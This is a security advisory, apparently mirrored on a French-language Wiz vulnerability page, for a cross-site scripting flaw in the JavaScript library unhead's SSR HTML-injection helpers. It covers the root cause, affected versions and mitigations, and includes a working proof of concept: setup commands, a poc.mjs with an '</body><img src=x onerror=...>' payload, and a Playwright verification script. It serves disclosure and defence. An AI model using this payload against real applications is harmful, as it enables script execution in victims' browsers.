GHSA-43vv-qp67-mww8: 
JavaScript Analyse et atténuation de la vulnérabilité

Summary

unhead's server HTML-injection helpers locate where to inject managed <head>/<body> tags by searching the surrounding template with a plain, case-sensitive String.prototype.indexOf for </head> and </body> (parseHtmlForIndexes / the body-close step of parseHtmlForUnheadExtraction). The search is context-blind: it matches the first literal occurrence even when that occurrence sits inside a <script> or an HTML comment rather than being the document's real closing tag. When a server-rendered page carries a serialized-state <script> (the standard SSR pattern, e.g. window.__STATE__ = {...}) whose data contains the literal </body> (or </head>), unhead splices its managed body-position tags into that script element. Because unhead itself emits a </script> as part of the injected tag (e.g. a tagPosition: 'bodyClose' script, or the streaming bootstrap), the serialized-state script is terminated early and any markup the attacker placed after the literal — e.g. <img src=x onerror=...> — becomes a live element and executes. The attacker only controls one serialized value; the terminating </script> is supplied by unhead. Impact is Cross-site Scripting (CWE-79). Severity is Medium (CVSS 3.1 4.7 reflected): exploitation requires an application whose state serializer escapes </script but not < (a common partial-escape anti-pattern), so robustly-serialized apps are not affected. The underlying unhead defect — placing output into a context its encoder does not cover — is present and unfixed on the latest release.

Details

Root cause

packages/unhead/src/parser/index.ts finds the structural insertion points with raw, case-sensitive substring searches:

  • parseHtmlForIndexes locates <html, </head>, <body, </body> with html.indexOf(...) and no awareness of comments, <script>/<style> raw-text, RCDATA, or letter case.
  • parseHtmlForUnheadExtraction tokenizes the <head> (so <script>/<style>/<title> inside the head are handled), but the body closing position is still found with a plain remaining.indexOf('</body>') — the body region is not tokenized.
  • applyHeadToHtml then splices the serialized managed tags at those raw offsets with html.substring(...), inserting the strings verbatim into whatever context the offset happens to land in. The output encoder is correct for the context it assumes: server/util/propsToString.ts's encodeAttribute escapes only the double quote, which is sufficient inside a double-quoted attribute in element context. The defect is that the context-blind splice can place that output inside a <script> element (or a comment), where the assumed encoding no longer prevents a breakout.

Why the body path is reachable from the default API

The documented SSR flow (template.replace('<!--app-html-->', renderedHtml) → transformHtmlTemplate(head, template), per the Vue/React/Solid/Svelte "Get started" guides) injects the application's rendered markup into the template before it is parsed. If the rendered markup includes a serialized-state <script> (universal in SSR) and a user-controlled value in that state contains </body>, the context-blind indexOf('</body>') matches the literal inside the state script instead of the document's real </body>. The raw and streaming entry points (transformHtmlTemplateRaw, renderSSRHeadShell, prepareStreamingTemplate, wrapStream, all in server/transformHtmlTemplate.ts and stream/server.ts) use parseHtmlForIndexes directly and are affected for both </head> and </body> the same way.

The breakout is self-contained

The attacker does not need to inject a </script>. unhead emits one itself: any tagPosition: 'bodyClose' script (a documented feature — a common case is an analytics tag) or the streaming bootstrap is spliced in before the attacker's literal, and its own </script> terminates the serialized-state script early. Everything the attacker placed after </body> in the state value is then parsed as HTML in the document context.

Preconditions

An affected SSR helper must process HTML containing attacker-influenced inline state. The reported scenario also requires state serialization that leaves literal < characters in the HTML and a managed tag at the affected insertion point. Streaming can supply managed output automatically. As a mitigation, use a serializer intended for inline HTML that escapes literal < characters, or serialize page state outside the transformed HTML. A restrictive Content Security Policy can reduce script execution risk.

Affected versions

The published unhead versions with the affected helper start at 2.0.0-alpha.8. The latest affected stable releases are 2.1.17 and 3.4.3. The v1 release line lacks this template injection API. Earlier v2 releases use direct string replacement. Later v2 and v3 releases use offsets. The scanner change in #1028 addresses extraction of certain head tags. The affected template insertion paths require a separate fix. @unhead/vue, @unhead/react, @unhead/solid-js, and @unhead/svelte can expose the affected helpers by re-exporting them from unhead. The installed unhead version and SSR call site determine exposure.

Secondary effect (same root cause, reported for context, not as a separate issue)

With an uppercase or absent </HEAD>/<HEAD> in the template, the case-sensitive indexOf returns -1 and a developer-configured <meta http-equiv="content-security-policy"> pushed through useHead is silently dropped from the output (renderSSRHeadShell / prepareStreamingTemplate clear head.entries without checking that injection occurred). This is a protection-mechanism failure (CWE-693) stemming from the same context-blind search; it has no standalone attacker and is mentioned only as corroborating evidence of the root cause.

Proof of concept

Reproduces on Node 18+ with unhead@3.4.3. No framework is required — the vulnerable code path (transformHtmlTemplate) is exercised directly, exactly as the documented SSR "Get started" flow uses it.

1. Set up

mkdir unhead-poc && cd unhead-poc
npm init -y
npm pkg set type=module
npm install unhead@3.4.3

2. poc.mjs

import { writeFileSync } from 'node:fs'
import { createHead, transformHtmlTemplate } from 'unhead/server'
// (1) The app pushes a body-position managed tag — a documented unhead feature.
//     A bottom-of-body analytics script is a very common example.
const head = createHead()
head.push({ script: [{ src: '/analytics.js', tagPosition: 'bodyClose' }] })
// (2) Attacker-controlled value reaching SSR state (reflected param, stored
//     profile field, CMS content, ...). It contains a literal </body>.
//     IMPORTANT: the onerror uses an UNQUOTED HTML attribute value with
//     single-quoted JS args and NO double quotes. A double quote here would be
//     escaped to \" by JSON.stringify and break the attribute.
const attackerValue =
  `</body><img src=x onerror=document.body.setAttribute('data-xss-fired','1')>`
// (3) The app's state serializer escapes </script (so the state <script> is not
//     closed directly) but leaves '<' intact. This is the vulnerable precondition.
const serializeVulnerable = (o) =>
  JSON.stringify(o).replace(/</script/gi, '<\\/script')
// NEGATIVE CONTROL: a serializer that escapes every '<' (what serialize-javascript
// and devalue do). The </body> becomes </body> and is NOT matched, so unhead
// splices at the real </body> and there is no breakout.
const serializeSafe = (o) =>
  JSON.stringify(o).replace(/</g, '\\u003C')
// (4) Documented SSR flow: rendered app markup (incl. the serialized-state script)
//     is placed into the HTML template, then handed to transformHtmlTemplate.
function buildTemplate(serialize) {
  return '<!doctype html><html><head><title>App</title></head>'
    + '<body><div id="app">hello</div>'
    + '<script>window.__STATE__=' + serialize({ q: attackerValue }) + ';</script>'
    + '</body></html>'
}
writeFileSync('vuln.html', await transformHtmlTemplate(head, buildTemplate(serializeVulnerable)))
writeFileSync('safe.html', await transformHtmlTemplate(head, buildTemplate(serializeSafe)))
console.log('wrote vuln.html (attack) and safe.html (control)')

3. Run

node poc.mjs

This writes two documents. vuln.html is the attack: the managed <script src="/analytics.js"></script> is spliced inside the window.__STATE__ script, immediately before the attacker's </body>; the analytics </script> closes the state script early, leaving the attacker's <img src=x onerror=...> in document (HTML) context. safe.html is the control: the serializer encodes </body> as </body>, the splice lands at the real </body>, and nothing escapes. The two templates are identical except for how the application serializer encodes <, which isolates the defect to unhead's context-blind splice.

4. Confirm execution in a browser

Load both files in a real browser (any Chromium/Firefox; headless is fine) and read the marker the payload sets on success. One self-contained way, using Playwright — first install it into the same project:

npm install playwright
npx playwright install chromium
// check.mjs
import { chromium } from 'playwright'
const browser = await chromium.launch()
for (const file of ['vuln.html', 'safe.html']) {
  const page = await browser.newPage()
  await page.goto('file://' + process.cwd() + '/' + file)
  await page.waitForTimeout(500)
  const fired = await page.evaluate(() => document.body.getAttribute('data-xss-fired'))
  console.log(file, '-> data-xss-fired =', fired, fired === '1' ? '-> VULNERABLE' : '-> not fired')
  await page.close()
}
await browser.close()

Expected: vuln.html -> data-xss-fired = 1 -> VULNERABLE and safe.html -> data-xss-fired = null -> not fired. The injected <img src=x> fails to load, its onerror runs in document context and sets data-xss-fired="1" on <body>. (Swap the payload for onerror=alert(document.domain) to see the classic popup.) Only the attack document fires; the control does not — confirming the breakout comes from unhead's splice, not from the input itself.

Patch scope

Use HTML-aware insertion boundaries in the extracting, raw, prepared, and streaming SSR paths. Patch the supported v2 and v3 release lines.

Impact

Under the stated conditions, Unhead can insert managed HTML in the wrong parsing context. This may allow script execution in the application’s origin when a victim opens an affected page (CWE-79). CVSS 3.1 is 4.7 (Moderate) for the reflected scenario. The application-specific prerequisites support high attack complexity. A victim must load affected output.


Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-vqxq-2wvm-wwq5MEDIUM6.1
  • JavaScript logoJavaScript
  • unhead
NonOuiNov 23, 2026
GHSA-cw38-r4mr-qh2vMEDIUM6.1
  • JavaScript logoJavaScript
  • unhead
NonOuiNov 23, 2026
GHSA-hx39-7p87-p6mvMEDIUM4.7
  • JavaScript logoJavaScript
  • unhead
NonOuiNov 23, 2026
GHSA-43vv-qp67-mww8MEDIUM4.7
  • JavaScript logoJavaScript
  • unhead
NonOuiNov 23, 2026
GHSA-6r92-h7v8-c87rLOW2
  • JavaScript logoJavaScript
  • unhead
NonOuiNov 23, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités